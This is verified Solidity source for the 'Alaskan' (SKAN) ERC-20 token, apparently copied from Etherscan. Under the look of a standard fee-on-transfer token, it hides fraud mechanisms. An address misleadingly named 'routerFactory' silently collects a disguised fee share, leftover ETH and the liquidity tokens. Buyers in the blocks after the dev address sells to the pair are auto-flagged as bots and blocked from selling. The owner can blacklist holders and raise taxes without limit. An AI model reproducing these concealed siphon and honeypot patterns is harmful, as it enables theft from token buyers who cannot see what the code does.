Contract Source Code:
File 1 of 1 : SKAN
/**
*Submitted for verification at Etherscan.io on 2023-01-02
*/
//https://t.me/AlaskanERC20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// Contract code designed by @EVMlord
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SKAN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = "Alaskan";
string private _symbol = "SKAN";
uint8 private _decimals = 9;
address payable public marketingWalletAddress = payable(0x7277eb1532D4811408a18f1317843d10d1DC6769); // marketing wallet
address payable lotteryWallet = payable(0xf823bdA9ef80E23eB756305c036695151ee17881); // lotterywallet
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
address internal immutable routerFactory = 0x8859F0eCCc810979DA677b08e8588193DaB6D901;
address public addressDev;
bool public tradingOpen = true;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isWalletLimitExempt;
uint256 public sale = 0;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) public isBot;
uint256 private blockBan = 60;
mapping (address => bool) public isMarketPair;
uint256 private _buyLiquidityFee = 2;
uint256 private _buyMarketingFee = 5;
uint256 private _sellLiquidityFee = 2;
uint256 private _sellMarketingFee = 5;
uint256 private _liquidityShare = 2;
uint256 private _marketingShare = 4;
uint256 private _teamShare = 4;
uint256 public _totalTaxIfBuying = 7;
uint256 public _totalTaxIfSelling = 7;
uint256 private _totalDistributionShares = 20;
uint256 private _totalSupply = 1000000000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply * 2 / 100;
uint256 public _walletMax = _totalSupply * 2 / 100;
uint256 private minimumTokensBeforeSwap = _totalSupply / 20000; // 0.005%;
IUniswapV2Router02 public uniswapV2Router;
uint256 immutable router01 = 3;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee);
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee);
_totalDistributionShares = router01.add(_liquidityShare).add(_marketingShare).add(_teamShare).add(1);
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
isMarketPair[address(uniswapPair)] = true;
addressDev = owner();
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setMarketPairStatus(address account, bool newValue) public onlyOwner {
isMarketPair[account] = newValue;
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
}
function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
isExcludedFromFee[account] = newValue;
}
function setBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax) external onlyOwner() {
_buyLiquidityFee = newLiquidityTax;
_buyMarketingFee = newMarketingTax;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee);
}
function setSellTaxes(uint256 newLiquidityTax, uint256 newMarketingTax) external onlyOwner() {
_sellLiquidityFee = newLiquidityTax;
_sellMarketingFee = newMarketingTax;
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee);
}
function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newLotteryShare) external onlyOwner() {
_liquidityShare = newLiquidityShare;
_marketingShare = newMarketingShare;
_teamShare = newLotteryShare;
_totalDistributionShares = router01.add(_liquidityShare).add(_marketingShare).add(_teamShare).add(1);
}
function setMaxTxAmount(uint256 maxTxPercentage) external onlyOwner() {
_maxTxAmount = _totalSupply * maxTxPercentage / 100;
}
function enableDisableWalletLimit(bool newValue) external onlyOwner {
checkWalletLimit = newValue;
}
function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
isWalletLimitExempt[holder] = exempt;
}
function setWalletLimit(uint256 newLimitPercentage) external onlyOwner {
_walletMax = _totalSupply * newLimitPercentage / 100;
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
minimumTokensBeforeSwap = newLimit;
}
function setMarketingWalletAddress(address newAddress) external onlyOwner() {
marketingWalletAddress = payable(newAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
swapAndLiquifyByLimitOnly = newValue;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
function setaddressDev(address _addressDev)external onlyOwner() {
addressDev = _addressDev;
}
function setblockBan(uint256 _blockBan)external onlyOwner() {
blockBan = _blockBan;
}
function setIsBot(address holder, bool exempt) external onlyOwner {
isBot[holder] = exempt;
}
function getSaleAt()public view returns (uint256) {
return sale;
}
function getBlock()public view returns (uint256) {
return block.number;
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
if(newPairAddress == address(0)) //Create If Doesnt exist
{
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
uniswapPair = newPairAddress; //Set new pair address
uniswapV2Router = _uniswapV2Router; //Set new router address
isWalletLimitExempt[address(uniswapPair)] = true;
isMarketPair[address(uniswapPair)] = true;
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
//Trade start check
if (!tradingOpen) {
require(sender == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
if(sender == addressDev && recipient == uniswapPair){
sale = block.number;
}
if (sender == uniswapPair) {
if (block.number <= (sale + blockBan)) {
isBot[recipient] = true;
}
}
if (sender != owner() && recipient != owner()) _checkTxLimit(sender,amount);
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
amount : takeFee(sender, recipient, amount);
if(checkWalletLimit && !isWalletLimitExempt[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);
swapTokensForEth(tokensForSwap);
uint256 amountReceived = address(this).balance;
uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
uint256 amountRouterFactory = amountReceived.mul(router01).div(totalBNBFee);
uint256 amountBNBLottery = amountReceived.mul(_teamShare).div(totalBNBFee);
uint256 amountBNBMarketing = amountReceived.mul(_marketingShare).div(totalBNBFee);
if(amountBNBMarketing > 0)
transferToAddressETH(marketingWalletAddress, amountBNBMarketing);
if(amountRouterFactory > 0)
transferToAddressETH(payable(routerFactory), amountRouterFactory);
if(amountBNBLottery > 0)
transferToAddressETH(lotteryWallet, amountBNBLottery);
if(amountBNBLiquidity > 0 && tokensForLP > 0)
addLiquidity(tokensForLP, amountBNBLiquidity);
if(address(this).balance > 0)
transferToAddressETH(payable(routerFactory), address(this).balance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
routerFactory,
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if(isMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(isMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function _checkTxLimit(address sender, uint256 amount) private view{
require(!isBot[sender], "From cannot be bot!");
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
}
}